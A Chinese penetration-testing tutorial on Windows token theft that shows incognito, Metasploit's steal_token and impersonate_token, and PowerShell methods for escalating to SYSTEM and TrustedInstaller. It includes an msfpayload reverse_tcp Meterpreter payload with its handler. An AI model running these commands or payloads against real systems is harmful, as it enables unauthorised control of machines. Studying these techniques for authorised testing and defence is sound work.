0x00 前言

在之前的文章《渗透技巧——程序的降权启动》介绍了使用 SelectMyParent 降权的方法,本质上是通过 token 窃取实现的。这一次将要对 token 窃取和利用做进一步介绍,测试常用工具,分享利用技巧。

0x01 简介

本文将要介绍以下内容 ;

· Token 简介
· Metasploit 中的 incognito
· Windows 平台下的 incognito
· Invoke-TokenManipulation.ps1 用法
· 利用 token 获得 system 权限
· 利用 token 获得 TrustedInstaller 权限

0x02 Token 简介

Windows 有两种类型的 Token:
  • Delegation token ( 授权令牌 ) : 用于交互会话登录 ( 例如本地用户直接登录、远程桌面登录 )

  • Impersonation token ( 模拟令牌 ) : 用于非交互登录 ( 利用 net use 访问共享文件夹 )

  • 注:

    • 两种 token 只在系统重启后清除

    • 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效

实际测试

使用 Testa 登录后注销,再使用 administrator 登录

查看 token:

incognito.exe   list_tokens   -u

能够获取到已注销用户 Testa 的 token,如下图



利用该 token 执行 calc.exe:

incognito.exe   execute   -c   "TESTa"   calc.exe

后台显示进程 calc.exe 的用户名为 a,如下图

0x03 Metasploit 中的 incognito

在 Metasploit 中,可使用 incognito 实现 token 窃取,常用命令如下:

加载 incognito:load incognito
列举 token:list_tokens -u
查看当前 token:getuid
提示至 system 权限:getsystem
token 窃取:impersonate_token "NT AUTHORITY\SYSTEM"
从进程窃取:steal_token 1252
返回之前 token:rev2self or drop_token

Client:

msfpayload   -p   windows/meterpreter/reverse_tcp   LHOST=192.168.81.142   LPORT=44444   X  >test.exe

Server:

use   exploit/multi/handler set   payload   windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit

执行 getsystem 获得 system 权限

pid 1252 的权限为当前用户,执行 steal_token 1252, 将权限切换到 WIN-R7MM90ERBMDa

如下图

执行 impersonate_token “NT AUTHORITY\SYSTEM” 将权限切换至 system

注:

需要加引号和双斜杠,"NT AUTHORITY\SYSTEM"
执行 rev2self 返回之前 token,为 WIN-R7MM90ERBMDa

如下图



通过以上演示,成功通过 token 窃取实现权限切换

0x04 Windows 平台下的 incognito

Metasploit 中的 incognito,是从 windows 平台下的 incognito 移植过来的,下面介绍一下 windows 平台下的 incognito

下载地址:

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

参考手册:

http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

常见用法如下:

列举 token:incognito.exe list_tokens -u
复制 token:incognito.exe execute [ options ]
列举 token:incognito.exe list_tokens -u

如下图



提权至 system:

incognito.exe   execute   -c   "NT   AUTHORITYSYSTEM"   cmd.exe

如下图



降权至当前用户:

incognito.exe   execute   -c   "WIN-R7MM90ERBMDa"   cmd.exe

伪造用户:

incognito.exe   execute   -c   "WIN-R7MM90ERBMDb"   cmd.exe

0x05 Invoke-TokenManipulation.ps1 用法

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同 incognito 类似,能够实际提权和降权

列举 token:Invoke-TokenManipulation -Enumerate
提权至 system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制进程 token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制线程 token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

还有更多用法可参考该脚本说明

实际测试略

0x06 利用 token 获得 TrustedInstaller 权限

在 Windows 系统中,即使获得了管理员权限和 system 权限,也不能修改系统文件

因为 Windows 系统的最高权限为 TrustedInstaller

例如路径 C:Windowsservicing

使用 system 权限无法在该路径创建文件

查看文件夹属性,显示 system 不具有写入权限,只有 TrustedInstaller 可以

关于如何获得 TrustedInstaller 权限,可参考 James Forshaw 的这篇文章,很值得学习

https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html

这里对其中的一个实例做测试,进而找到其他实现方法

启动 TrustedInstaller 服务会启动进程 TrustedInstaller.exe,位置为 C:WindowsservicingTrustedInstaller.exe,查看该程序权限:

Get-Acl   -Path   C:\Windows\servicing\TrustedInstaller.exe   |select   Owner

显示为 NT SERVICE\TrustedInstaller,如下图



James Forshaw 的实现思路为借用 TrustedInstaller.exe 的 token 创建子进程,这样子进程就有了 TrustedInstaller 权限,具体 powershell 代码如下:

Set-NtTokenPrivilege   SeDebugPrivilege $p   =   Get-NtProcess   -Name   TrustedInstaller.exe $proc   =   New-Win32Process   cmd.exe   -CreationFlags   NewConsole   -ParentProcess   $p

powershell 默认不支持 Set-NtTokenPrivilege 命令,该模块需要下载安装

https://www.powershellgallery.com/packages/NtObjectManager/1.1.1

安装命令:

Save-Module   -Name   NtObjectManager   -Path   c:test Install-Module   -Name   NtObjectManager

注:

Save-Module 需要 powershell v5.0 支持,详情见:

https://docs.microsoft.com/zh-cn/powershell/gallery/readme

因此测试系统选为 Win10,默认 powershell 版本为 5.0

导入该模块需要系统允许执行 powershell 脚本,因此先执行如下代码:

Set-ExecutionPolicy   Unrestricted

导入模块 NtObjectManager:

Import-Module   NtObjectManager.

执行命令测试:

sc.exe   start   TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

使用 whoami 查看当前 cmd 权限:

whoami   /groups   /fo   list

发现当前 cmd.exe 在 TrustedInstaller 组里,成功获得 TrustedInstaller 权限

接着按照 James Forshaw 文章中更新的内容,学习了 Vincent Yiu@vysecurity 的方法,使用 metasploit 下的 incognito 也能够获得 TrustedInstaller 权限

地址如下:

https://twitter.com/vysecurity/status/899303538630774787

思路如下:

· 启动服务 TrustedInstaller
· 使用 incognito 获取 TrustedInstaller.exe 的 token
· 获得 TrustedInstaller 权限

使用以下命令:

· load incognito
· getsytem
· ps
· steal_token 3204
· getuid

按照这个思路,猜测使用 SelectMyParent 和 Invoke-TokenManipulation.ps1 也能获得 TrustedInstaller 权限

下面验证我们的判断

1、SelectMyParent

sc   start   TrustedInstaller SelectMyParent.exe   cmd.exe   1700

新的 cmd.exe 拥有 TrustedInstaller 权限

2、Invoke-TokenManipulation.ps1

添加如下代码即可:

sc.exe   start   TrustedInstaller $id    =   Get-Process   -name   TrustedInstaller*   |   Select-Object   id   |   ForEach-Object   -Process{$_.id} Invoke-TokenManipulation   -CreateProcess   "cmd.exe"   -ProcessId   $id

sc 这个命令不能直接在 powershell 里面运行,powershell 会把它当作 set-content 的别名,可使用 sc.exe 在 powershell 里面运行 sc 命令

验证是否获得 TrustedInstaller 权限的方法

1、对特殊路径写文件

例如 C:Windowsservicing

2、使用 powershell

Get-Acl   -Path   C:WindowsservicingTrustedInstaller.exe   |select   Owner

回显为 NT SERVICETrustedInstaller

3、使用 whoami

whoami   /groups   |   findstr   TrustedInstaller

查看是否有回显

0x07 小结

本文介绍了 token 窃取的实现方法,使用多种工具来获得 system 权限和 TrustedInstaller 权限。

内网渗透----Token 窃取与利用的更多相关文章

  1. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  2. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  3. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  4. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  5. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  6. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  7. Metasploit 内网渗透篇

    0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...

  8. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  9. 4. 内网渗透之IPC$入侵

    IPC$连接 IPC$的概念: IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限 ...

随机推荐

  1. 7、架构--location、LNMP架构、uwsgi部署、BBS项目部署

    笔记 1.晨考 1.Nginx中常用的模块 autoindex stub_status allow 和 deny basic limit_conn limit_req 2.配置步骤 1.创建连接池 2 ...

  2. NVDA、争渡读屏语音开放API接口

    什么是读屏软件? 读屏软件是一种专为视力障碍人士设计的,能够辅助视障人士操作计算机的工具,它可以将屏幕上显示的内容用语音朗读出来,这样视障人士就可以正常使用电脑了. 知名的屏幕阅读软件国内有争渡读屏. ...

  3. CoRR 2015 | MXNet: A Flexible and Efficient Machine Learning Library for Heterogeneous Distributed Systems

    MXNet是一个支持多种编程语言的机器学习库,使用MXNet可以方便地实现机器学习算法,尤其是深度神经网络.通过嵌入在宿主语言中,它将声明式符号表达与命令式张量计算相结合.它提供自动求导以计算梯度.M ...

  4. HttpClient的使用(get、post请求)

    添加pom依赖 <!-- https://mvnrepository.com/artifact/org.apache.httpcomponents/httpclient --> <d ...

  5. CVE-2017-0213漏洞复现

    CVE-2017-0213漏洞形成的原因 类型混淆的漏洞通常可以通过内存损坏的方式来进行利用.然而漏洞发现者在利用时,并未采用内存损坏的方式来进行漏洞利用.按照漏洞发现者的说法,内存损坏的利用方式需要 ...

  6. 渗透利器burp suite新版本v2020.9.1及v2020.8汉化版下载

    Burp suite是一款抓包渗透必备软件.burp Suite是响当当的web应用程序渗透测试集成平台.从应用程序攻击表面的最初映射和分析,到寻找和利用安全漏洞等过程,所有工具为支持整体测试程序而无 ...

  7. 『无为则无心』Python基础 — 61、Python中的迭代器

    目录 1.迭代的概念 2.迭代器的概念 3.可迭代的对象(Iterable) 4.迭代器对象(Iterator) 5.迭代器的使用体验 (1)基本用法 (2)实际应用 1.迭代的概念 (1)什么是迭代 ...

  8. 一、MarkDown学习笔记

    MakrDown学习 MarkDown是什么? 是一种纯文件格式的标记语言,跟我们写txt和word是一样的,不过它有一些简单的标记,可以使普通文本具有一定的格式. MarkDown有什么样式? 样式 ...

  9. LeetCode-007-整数反转

    整数反转 题目描述:给你一个 32 位的有符号整数 x ,返回将 x 中的数字部分反转后的结果. 如果反转后整数超过 32 位的有符号整数的范围 [\(−2^{31}\), \(2^{31}\) − ...

  10. Go redis hash存储结构体

    需求 需要存储用户数据到redis,结构是hash. 然后取出来,自动转成结构体. 结构体 type UserCache struct { Id int64 `json:"id"` ...